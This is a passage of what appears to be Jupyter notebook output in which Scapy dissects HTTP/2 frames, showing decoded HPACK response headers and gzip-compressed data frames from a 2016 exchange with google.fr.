0\\xd7\\xa7Y\\xc6\\x12\\xff|\\x19F~\\x97\\xf66\\xaa\\xd6\\xdbT\\xc2\\xfa\\xd1\\xa7l\\xfb\\xd6\\xe2\\xaa\\xb4yk\\x01\\xd2\\x02X{H`o\\xb1\\x1doO7_wD\\xe0\\x90\\xc7\\xf8\"$\\xd5\\x07nT\\xbf\"\\xf5\\xea\\x8f\\xfe\"\\xcc\\xb9@\\x14t\\xb2-Y\\xc3i^{\\xdb\\xfc\\xfe~\\xdd\\xbc1\\xce\\xfb\\xf3gE\\x9c]\\xdczL\\x9e*\\xb7\\x02\\xb0\\xdeZ,\\xf3\\xf4Fa\\x9b\\xd6\\x84\\xf8\\x86\\x96\\xf3\\xc6?\\xca\\xa6|i\\xea\\x8bF\\xde\\x9d^\\\\D\\xc4\\x9d\\xfaA\\xb6\\xdbz\\x91\\xb5\\xdb\\xaa\\xeb\\x1e\\r\\x00s0\\x1f\\xc0\\xcf\\xd5\\x9f\\xb7C\\x1fZ\\xfde\\xd6g\\xc9\\xfc\\xdd\\x9b\\xfe\\xfb\\xdf\\x86\\x7fdo>\\x9f\\xfc\\xf4\\xdc\\xec\\xbf\\x1a\\xc48\\xce\\xdd\\xf9\\x92\\xa9\\xfe \\x17\\xd8\\xfa4\\xf0\\x11\\xe8\\x03\\xd9\\xfa\\xecA\\x0c\\xc89~>=\\x7fki\\xe9\\xf3\\x95\\xff\\x82N\\xdf\\xbe4\\xde\\xcf/\\x7f\\xffC\\xe7\\xe3\\x9f^\\xdf\\xfe\\xfb\\xf2\\x05{\\xb7Z\\xfe~\\xa4\\xfe\\xffM\\xdd\\xb3\\xb7\\xa6\\x82\\xea\\xa5VH\\x16{\\xce\\x9a\\xc8i\\xc8lM\\xa0\\x10H\\xc8\\x0cO\\x9e*\\xf1\\xda\\xdfrK\\x92\\x19\\x96\\xb8y\\x94\\xa6\\xf1\\t\\x94\\xd1*\\xf1\\x975\\x82\\xbf\\xbc\\x16\\xcd7\\x07D\\x18]Du\\xcf2\\xe5H\\xdcd\\x0b\\x18\\x0c\\xb9\\x0b\\xc4\\x86\\xa9\\x92O4&\\x10\\xf4\\xc8\\'\\x9e&YM\\x11\\xc5\\xf5W\\xcc\\x03\\x8eK\\xf3B\\x17\\xf8\\x91\\x8b\\xc5\\x82z,\\xc7\\x12.\\xaf+\\x1b\\\\\\xc9]\\x8c\\x83\\x9c\\xd3;\\xf6\\x19*\\x1d\\xe6\\xc19F\\x08\\xa6\\xa4\\xb9X\\xa6\\x01\\xd4QP\\x00\\xcd\\x001\\xf2\\xae\\xee\\x00\\xf3\\x97?\\x0bM3&\\x87C\\xcb\\xde/\\tqr9S\\xa2p\\xbaJ\\xc3\\\\\\xc1\\x84\\x0b\\xdd)\\xbfB)\\xaab\\x08h8\\ry\\x88\\x04\\x19li\\x189\\x973\\xf2\"\\x80\\xc3\\xa9\\x0c\\x1aTqAo\\xca\\x17\\xf1\\x05z3\\xc85\\xf1\\x17\\x86\\x84\\xab\\x14\\x12\\xbc\\x82K\\x18\\x9eW\\t\\xe6OR\\xdfY\\xfcI\\xe4\\xc0\\xc5r\\xe7\\x8a\\xa2D\\x1e\\xd0r\\xac_N\\x8a\\xcb|S2f\\xa8T\\xee\\x86\\xb8\\xc2m\\xc9\\x97\\xe1]\\xa8\\xfc\\x7f\\\\0\\x88\\xa7\\xbf\\xd9\\xc3\\xda{\\xa3\\x92\\x04MV\\xaa;]\\xe5\\xa0m\\xe8\\xcb\\xaeK+\\xc2\\xe2\\xe0T_\\x8d\\xe6\\x0b@\\xfc\\xf0\\x11\\x98y\\xd0\\xa7k\\xf8\\x01\\x8e3\\x06(\\xd2+ XY\\xcb\\xc4\\xba\\xf8\\xed\\xf5\\xbf\\x8c\\xf3k\\xfd_\\xcf\\x9e\\x16\\x93\\xc2\\x1fO\\xde~\\xbe\\xba\\xfb\\x1d\\'\\xf2\\x91\\xf7\\xf6\\xf5\\xba\\x8c%\\xe5\\xfbp+$m\\xa3@\\xcc\\xfcf\\xb3\\xc3w\\xf7(LB\\xb1\\xf5el\\x9579w\\xdd\\xa6S\\xe2U\\xba\\x04\\xd4\\xcd\\xa6\\x1d\\xc7>5\\x11\\xe5\\x13\\xec\\xbaV\\xe36|,\\xbc\\xb7\\x86!\\x00\\xdb\\xf2U\\xb0\\xbe\\x0f/\\x8b\\x12L\\x8cx\\x89\\x8d\\xff\\'\\xf0\\x7f\\x01\\xa9\\x9a\\xd7%#(\\x00\\x00'\n", " padding = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\n", "###[ HTTP/2 Frame Sequence ]### \n", " \\frames \\\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0xe1\n", " | type = HdrsFrm\n", " | flags = set(['End Headers (EH)'])\n", " | reserved = 0L\n", " | stream_id = 3L\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Dynamic Size Update ]### \n", " | | magic = 1\n", " | | max_size = 12288\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 8\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 59\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 11\n", " | | | data = 'HPackZString(Accept-Encoding)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 26\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 3\n", " | | | data = 'HPackZString(gzip)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 31\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 9\n", " | | | data = 'HPackZString(image/x-icon)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 33\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(Thu, 08 Dec 2016 06:23:59 GMT)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 36\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(Fri, 16 Dec 2016 06:23:59 GMT)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 44\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(Thu, 08 Dec 2016 01:00:57 GMT)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 16\n", " | | | data = 'HPackZString(x-content-type-options)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 5\n", " | | | data = 'HPackZString(nosniff)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 54\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 3\n", " | | | data = 'HPackZString(sffe)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 28\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 3\n", " | | | data = 'HPackZString(1494)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 12\n", " | | | data = 'HPackZString(x-xss-protection)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 10\n", " | | | data = 'HPackZString(1; mode=block)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 24\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 16\n", " | | | data = 'HPackZString(public, max-age=691200)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 21\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 5\n", " | | | data = 'HPackZString(472252)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 5\n", " | | | data = 'HPackZString(alt-svc)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 28\n", " | | | data = 'HPackZString(quic=\":443\"; ma=2592000; v=\"35,34\")'\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0x5d6\n", " | type = DataFrm\n", " | flags = set(['End Stream (ES)'])\n", " | reserved = 0L\n", " | stream_id = 3L\n", " |###[ HTTP/2 Data Frame ]### \n", " | data = '\\x1f\\x8b\\x08\\x00\\x00\\tn\\x88\\x02\\xff\\xbcX{PTU\\x18?\\xa6\\x8d\\x89\\xa5\\xf4G\\xff5\\x13\\xf60\\xffh\\xcc1\\x11\\xc7L\\xb3\\x07>\\xffp\\x94\\x10L\\x1b\\xd3L+kF\\'\\xb5\\x19\\xc7Rg\\xc2\\xb4@KtD _\\x91\\x80\\x8e\\x82\\x8a\\xa8\\x83\\nhI\\xa9\\xa8\\x08B\\x98\\xaf|\\xdf]`\\xc1}\\xb0{\\xf7;\\xbf\\xe6\\\\\\xeee\\xee\\xde\\xbd\\x97\\xdd\\xb5\\xb53\\xf3\\rg\\xcf\\xfd\\xbe\\xefw\\xcew\\xbe\\xd7\\x81\\xb1n\\xec1\\x16\\x1b+\\xfe\\xc6\\xb1y=\\x18\\xeb\\xcf\\x18\\x8b\\x8b\\xeb\\xf8\\x9d\\x1f\\xcbXF\\x0f\\xc6\\x060\\xc6b\\xc5:\\xebXWF\\x0f\\x16r\\x00\\x18DD\\x1b\\x89\\xa8\\x81\\x88\\xbc*\\xd5\\x13Q&\\xe7|\\xa0\\x95\\x1c\\xe7\\xbc\\x17\\x11e!\\xc4 \\xa2\\r\\x00\\x9e0\\x91\\xad\\x10\\xdf}\\xe4\\xc5\\x81\\xbfvb\\xf1\\x91\\x19H\\xd95\\x1c)\\x85\\xc3\\xb1\\xf0P*v\\xd7\\xe5\\xa2]vk:\\x8e\\xebuh\\xb8v\\xd7},(M\\xc1\\x94\\xfc!\\xa6\\x94\\xb17\\x05\\xdcq\\xafs\\x1f\\xday\\x15\\\\\\xbf\\x17\\x0bJ\\xa7*|\\x02s\\xfb\\xf9\\x1fQ{\\xff\\x0c.I\\xd5(\\xac\\xcdF\\xd6\\x8e\\xf1p\\xa4\\x8d\\x86;w.\\xc0\\xb9\\xa2C\\xd8\\x83\\x886\\x89\\xf9\\xeaKg1\\xa1p,\\x92\\x0b\\x87\\xa1N\\xaa\\x0e>\\xf7\\x9d\\x068W%\\xc2\\xf9\\xed[\\xf07\\x9c\\xd0\\xf6\\x90ID\\x8db\\xfe\\xca\\xc9V<]\\xd6\\x84\\xf4\\x0bE\\x96\\xb6k\\xdf\\xb3R\\x91o/I\\xd7\\xe4\\xc5\\xbd\\xf8\\xc4<\\xe6\\xa8\\x8c\\xc7\\xcbd\\x94\\xd8x\\x80\\x8c\\xe07\\x92\\xe7\\xd7E\\x9a\\xbcW\\x93\\xef}\\xacC\\xfe\\xa0=\\x0c\\xf9\\xc2\\xa5z\\xf9\\xcbb\\x1e\\xff\\x87\\x1f1\\xfb\\xbc\\xf8\\xec\\x177\\xc2\\x1d\\xaa\\x8f)w\\xf7\\xd39\\x19\\t\\x93\\xed\\x18\\x96(\\xe1|\\xad\\xcf\\x84\\xd7T~#\\xe7|\\xb0\\x98{\\xbd\\x1c\\xc9\\xb3\\x9a\\x10\\xff\\xb6\\x84\\xd7\\xc7\\xd9\\xb0!\\xc7\\x89s5>\\\\\\xa8\\xf5ac\\xae\\x13\\x93?h\\xc2\\x8d\\x9b~\\xa3\\x8aA\\xaa\\xff\\xe4\\x8a\\x1f\\xf7$B\\xca\\xecfE\\x87\\x19\\xcd_\\xec\\xd0co\\xd2\\xc5L\\x0c\\x11\\x9d\\xd0\\xf6\\x91\\xb7\\xdb\\x8d\\x19\\x9f4c\\xc4x\\x1b\\x86\\x8f\\x910\\xed\\xe3fl/p)\\xdfT\\xd9\\n\\xe1\\xf3\\x86\\xb8\\x8b\\xd1\\xf6\\x11\\xc2fYFYC,\\r\\x16<\\xe2^\\xc4\\xdd\\xaa\\xd4\\xa8\\xfa\\xe9 #\\xbf\\xa3/c\\xe5\\xdd\\x19[\\xde\\xad\\x83B\\r\\x8dO\\xc8\\x08\\xd9\\x01j\\x8eyS\\x9fgb\\xd9C\\x0f\\xce\\xf9S\\x9c\\xf3\\xa9\\xea\\x19\\xaa\\x88H\\xd2\\xe5!I]\\x136H\\x06\\xf0$\\x8b\\xd2\\xe0\\x9c\\xbfHD9D\\xe4\\x8a\\xc0\\x7f]D\\xb4\\x99s\\xfe\\xc2\\x7f\\xc0\\x15\\xb9o\\r\\x11\\xc9x\\xc8\\xa1\\xde\\xf1*c^\\r\\xf3\\xcc5\\x88\\xd2 \\xa2\\xf3\\x00\\x9e\\x0f\\x07[\\xad3\\x92\\x99\\x1e\\xc9y\\x07{\\xeb\\xb7ae\\xf9|\\xcc)\\x1e\\xa7\\xe4\\xd4\\xe4\\x82\\x04\\xcc.J\\xc4\\xb2\\xa3s\\x90W\\xb3\\x01W\\x9b\\x1b\\xac\\xf6p\\x8fs\\xfej\\x18\\xe7\\x0e\\xc2\\xb6\\xb9\\xeeb\\xed\\xefK\\x91T0\\xd4\\xb2\\x86\\xe8\\xe9\\xebcsq\\xa5\\xb9\\xdet\\x0fVvP\\xe3\\xfc\\xa2Q\\xe6\\xe4\\x8d\\xc3\\x98\\xbe{dX\\xb8z\\x12v)\\xae\\xc9\\xb6\\xba\\x8b \\x7f \\xa2\\xef\\x8d\\xbc\\xc5\\r;\"\\xc6\\xd5hf^<\\xfe\\xcc\\x18\\to\\xc5\\x16\\xb3=\\xac2\\xd8\\xfd%\\xa3\\x9fW^/\\xb5\\xd4\\xfd\\xc5\\xc1$l\\xa9NGic!\\x0e]\\xde\\xa5\\xdc\\xfb\\xd2\\xb2\\x8f\\x90\\x94\\x1f\\xaf|_\\xb25\\x017W\\x8f\\xee\\xacKZ]\\xd5\\xc7\\x85>6\\x8d\\xf9U\\xf8\\xd9\\xfb&6\\x9f\\xbbo\"\\xce\\xdc\\xae\\xb4\\xf4\\xf3\\xeb-\\x8d\\xc8/\\x9e\\x8dVC]t\\xadK\\x02\\xf7\\xba\\x8d{\\xd8\\xac\\x9e\\xbd\\x0f\\x11\\x05|\\\\yjm\\x10\\xf6\\xa2\\xc3\\xd3\\xd1\\xe6u\\x84\\x0e6\\xbf\\x0f\\x9e\\x9dK\\x82j\\xb3\\xaf\\xaa (G\\x89<\\xc99O\\xd5\\xaf_ss\\xf4*s\\xe3\\xb5\\xa2\\xb4N\\xecYE\\x89h\\xf1\\xd8\\xc3\\x8ew\\xeey\\xa0\\x9cY\\x8f\\xef\\xce\\x9a\\x19\\xcc\\xc7y\\xb2\\xc8\\xad\\xfa\\xb5\\xef\\xae\\x91\\xd2o\\x08\\xeaW\\xb2\\x1f\\x93\\xf2G\\xa0\\xecJQ\\xc49\\xc7w*?\\xc8\\x06\\xdcq7\\xa8f\\x12\\xd1i\\xfd\\xda\\x98j\\x7f\\'\\xbe\\xa0\\x81\\x95\\xb7 \\x93/\\xf2\\x9c\\']\\r\\xc2\\x97\\xeb+\\x8c\\xf8\\xa2f\\x05\\x18\\xf6\\xd9J9\\x00?\\xa5\\xc6\\xdf%\\x8eY\\x1ffE\\xbe\\xaaB#\\xbe\\xa4\\xf5y\\xda\\xe8y4\\x10\\x7f\\xd9\\xdf\\x145|c.\\xd0\\xf7\\x99\\xff\\x07\\xbe\\xef\\xb7<3\\xfc\\xa6\\xae\\xec\\x9fz1z\\xf6\\x97\\xeb\\x8e\\x9b\\xd9?\\xc0\\xff\\x12\\xcf\\x06\\xfa_\\xbf=^\\xc82\\x1e\\xc9P\\xfd/ \\xfe\\xd2t\\xf1\\xf7\\xccz\\x17\\x86\\x8c\\xb3a\\xff!\\xcf\\xa3\\xc2\\x17\\xfd\\xda4\\xfd\\xda\\x157G\\xcf\\xc32\\xe2\\x96\\xb4v\\xf6\\xd7c\\xdf\\xb3\\xa3\\xd9AQ\\xc7\\x17\\xfd$\\x80\\xbeD\\x14p\\xc0\\xcf\\xd79\\x83z\\xfc\\x0f\\xe7\\xb7\\xa0\\xad\\x8d\\x87\\xd4\\xe9t\\xf1\\xb0{D\\xd1\\xd3\\xaa\\xf5\\' 0n\\xdd\\xf1\\xe3\\x8d\\xf1\\xb6\\xa0=L\\x9a\\xde\\x84\\xaa3^K\\x9d\\xa7N{11\\xc5\\x8e\\x1f2\\x1f\\x84\\x83\\x9f\\xa3\\xab\\xbf/\\x13Q\\x80\\xa3\\x97\\x1c\\xf1X\\xbewR\\xe74c}\\xb6\\x13{\\x0ex\\xb0\\xb7\\xc4\\x83\\xccl\\xa7\\xf2\\x96\\xd1\\xf3\\xa4e\\xb4i\\xcfa3lY\\xf4Z\\x86\\xfe#\\xdd\\xc8\\xb7u\\xa7\\xcbr\\x0f\\xe1\\xd0\\x8a5mV\\xf8kLz\\xbf\\xdeDTg\\xe4\\x15v\\x189\\xc1\\x161\\xf6\\xa8\\x896\\x1c9\\xden\\x86]c\\xf5N\\xe3\\x9c\\xf7\\'\"\\x9bQ\\xe6\\xf6]?\\xbeZ\\xd1\\x8a\\xa1\\xef\\x84\\xc6\\x15<\\x8b\\xbfiUdL\\xb0%\\xa3\\xdd-\\xde\\x8963\\xbb\\t\\xbf\\xfc9\\xcf\\x85O\\xbft(1)\\xde\\xe4\\t\\xefJH\\x9cb\\xc7\\xbc\\x85-\\xd8\\xbc\\xcd\\x85\\x7fn\\xf9\\xadl.\\x99\\xbd3\\xbb\\xb0C]\\x14\\xf3LM\\xa8s[\\xf4\\xe3\\xe9\\xc6\\xb8\\x88\\x10W\\x16}uW\\xef\\xf20l!bs\\x8b1G\\x85\\xc0u\\x8b\\x9eV\\xf4\\xd5Q|\\x07\\xf7\\x11\\xb9Z}\\x0b\\x9f\\x16uS\\xf7\\x7f\\x04\\xbb\\xba\\x96#\\xfaI\\xc1\\x1b\\xb6\\x9d\\xcb\\xbb\\x03\\x8c\\xc1\\xcf\\xd8\\xa8v\\xc6\\x9es0\\xd6\\xf7:c=\\xcb\\x19\\xeb.h9c\\xdd\\x04E\\xba_MN\\xd3#t\\n\\xdd\\x02C`\\tL\\x81\\xfdo\\x00\\x00\\x00\\xff\\xff\\xc6\\xf9Yo6\\x15\\x00\\x00'\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0x167\n", " | type = HdrsFrm\n", " | flags = set(['End Headers (EH)'])\n", " | reserved = 0L\n", " | stream_id = 1L\n", " |###[ HTTP/2 Headers Frame ]### \n", " | \\hdrs \\\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 8\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 33\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(Tue, 13 Dec 2016 17:34:51 GMT)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 36\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Literal\n", " | | | len = 2\n", " | | | data = 'HPackLiteralString(-1)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 24\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 13\n", " | | | data = 'HPackZString(private, max-age=0)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 31\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 22\n", " | | | data = 'HPackZString(text/html; charset=ISO-8859-1)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Literal\n", " | | | len = 3\n", " | | | data = 'HPackLiteralString(p3p)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 81\n", " | | | data = 'HPackZString(CP=\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\")'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 78\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 54\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Literal\n", " | | | len = 3\n", " | | | data = 'HPackLiteralString(gws)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 28\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 3\n", " | | | data = 'HPackZString(4420)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 72\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 0\n", " | | \\hdr_name \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 11\n", " | | | data = 'HPackZString(x-frame-options)'\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 9\n", " | | | data = 'HPackZString(SAMEORIGIN)'\n", " | |###[ HPack Literal Header With Incremental Indexing ]### \n", " | | magic = 1\n", " | | index = 55\n", " | | \\hdr_value \\\n", " | | |###[ HPack Header String ]### \n", " | | | type = Compressed\n", " | | | len = 165\n", " | | | data = 'HPackZString(NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly)'\n", " | |###[ HPack Indexed Header Field ]### \n", " | | magic = 1\n", " | | index = 71\n", " |###[ HTTP/2 Frame ]### \n", " | len = 0x122b\n", " | type = DataFrm\n", " | flags = set(['End Stream (ES)', 'Padded (P)'])\n", " | reserved = 0L\n", " | stream_id = 1L\n", " |###[ HTTP/2 Padded Data Frame ]### \n", " | padlen = 230\n", " | data = '\\x1f\\x8b\\x08\\x00\\x00\\x00\\x00\\x00\\x02\\xff\\xc5:\\xebz\\xdb\\xb6\\x92\\xff\\xfb\\x144\\xfcU\\x96\\xd6\\xb4DR7R4\\x9d\\x93:n\\xe2n\\xda\\xa4\\'\\xc9I\\xcf\\xa6\\xa9>\\x90\\x84(\\xc6\\xbc\\x99\\x00e;\\xb2\\xdem\\x1fg\\xf3\\x16;\\x03^D\\xc9N\\xd2o\\xff\\xec\\x97DC\\x003\\x03\\xcc\\x053\\x03 \\xa7\\x07~\\xea\\x89\\xbb\\x8c)K\\x11Gg\\xa7\\xf8\\xab\\x84\\x82\\xc5\\xdcK3\\xe6\\x10\"\\x1b\\x88\\xe0\\x90\\xa5\\x10\\xd9l0\\xe0\\xde\\x92\\xc5\\xb4\\x9f\\xe6\\xc1\\xe0=s_\\xd3\\x80\\x11%\\xa2I\\xe0\\x90EN\\x80\\x03\\xa3\\xfe\\xd9i\\xcc\\x04U\\xbc4\\x11,\\x11\\x0e\\x11\\xecV\\x0c\\x90\\xb5\\xadxK\\x9as&\\x9cwo\\x7f>1\\x89\\x82\\x8bA\\x18\\xc3L|\\xe0\\xe64\\xf1\\xc3$\\x18\\x04i\\x1aD,\\x18\\xe8\\xb7\\xf5\\xe7\\x9c\\x0b\\x18\\xa3\\xb9?\\xf7\\xd2(\\xcd\\xe7\\xbaa\\xfaY?K\\x82R\\x88,O3\\x87H6\\xc0]\\x84\"bg\\xcf%\\xe5\\xe9\\xa0l\\x9dr/\\x0f3q\\xd6]\\x14\\x89\\'\\xc24\\xe9\\xf6\\xd67a\\xe2\\xa77\\xfdr\\ng}uq9;z\\xf5\\xf9\\xe7\\xdf\\xdf\\xff2?y9z\\xf5_\\xf4ul%\"xu\\xa4^]\\xfc\\xf1\\x1a\\x06\\xa7cmj\\xe8\\xaa>\\x1c\\xeb\\x966T\\x87SM3FCu\\xa4\\x19\\x96\\xa9\\x8f\\x01\\x0e\\x8d\\xc9t\\x8a\\xd0\\xd4t\\x03\\xe0H7-\\x0b\\xe1pd\\xc9\\xf6\\xd8\\x1c\\xe9\\x08\\xcd\\xe1\\x08\\xf1\\xc6\\xe3\\xe9\\x08\\xe9&\\xc6d2A8\\x9e\\x9a\\xd8?\\x99\\x9a\\x13\\r\\xa19\\x1eKh\\x99C\\xb3\\x84\\x92~jL4C\\xc2\\xe9\\x14\\xe9\\xa7C\\xe0%\\xe1\\xd40%\\xb4\\xc68/p\\xb7\\xa6\\x12Zc9>\\xd1\\xac\\x12ZC\\xbd\\x84r}Ss$\\xf9\\x03\\x1cO$\\x9cNF\\x08-]\\x93mk4\\x92\\xf3Y\\xb0R\\tM\\xab\\x1c\\xb7\\xc6\\x08A\\xdc\\t\\xcec\\xea\\xda\\xb0\\x86\\xc8\\xd744\\xc9\\xcf4\\xf4\\xc9XBC\\x97\\xe3\\xc6D\\x97\\xe3\\xa0\\x069>\\x02\\rJ8\\x94\\xfa4a\\xbd\\xb2\\x7f\\xac\\x8d%\\xfexbH8\\xd1t]B\\xc3\\xd2$4\\'\\x12\\x7f:\\xd5%\\xfd\\xd4\\x92\\xfa7\\x91a\\t\\x87\\x93\\x12\\x8e\\xe4\\xb89)\\xf9[\\x9aV\\xc2R>\\xd3\\x1a\\x96\\xeb\\xb6\\x86\\xa3\\xb2=2\\xe5<\\xd6X\\xea\\xc5\\xb4&V\\xd9?\\x1d\\xe9\\x15D\\xfe\\xc0\\xc6\\x9cH8\\x1c\\x1b\\x12\\x8e4\\xbd\\x84\\xd2\\xae\\x16hf\\xa2\\x9aCM\\xd3\\xac\\x12\\x1aSC\\xc2\\xd1\\xd4TA\\xba\\xc9\\x04\\xfc\\x06\\xe0t\\x08\\xf3!\\x1c\\x81^\\x10\\x9ac\\xb3\\x84\\x96l\\x9b\\xda\\xb8\\x82\\x13\\x89o\\x8eA~\\x84\\x16\\xe8\\x07\\xa0\\x05\\x9c$D\\x7f\\xd45\\x03&4\\x87\\xe8\\xa8\\xf0a\\x18G*-\\xc4\\xb2\\xe0,\\x9fi\\xea\\x15\\xf7\\xf8\\xec\\xc8\\xb3\\x04(\\x91B\\xe8j8\\xc4\\xd1Cr\\x05\\x97\\xdb`\\xdc\\xb40\\xa8\\xea\\xf6\\xd6\"\\xbf[7\\xd4\\xdd\\x8b<\\x071iO=\\xd0ap\\x03\\xf3x\\xcb\\xae\\xd7[o\\x1a\\x06\"\\x8c\\xd9\\xc3I\\xba\\t\\xbbQ\\x9eQ\\xc1z(\\xfd[\\xc0\\xe9\\xf6\\x1a\\x92(\\rv&U=\\xd5W\\x83\\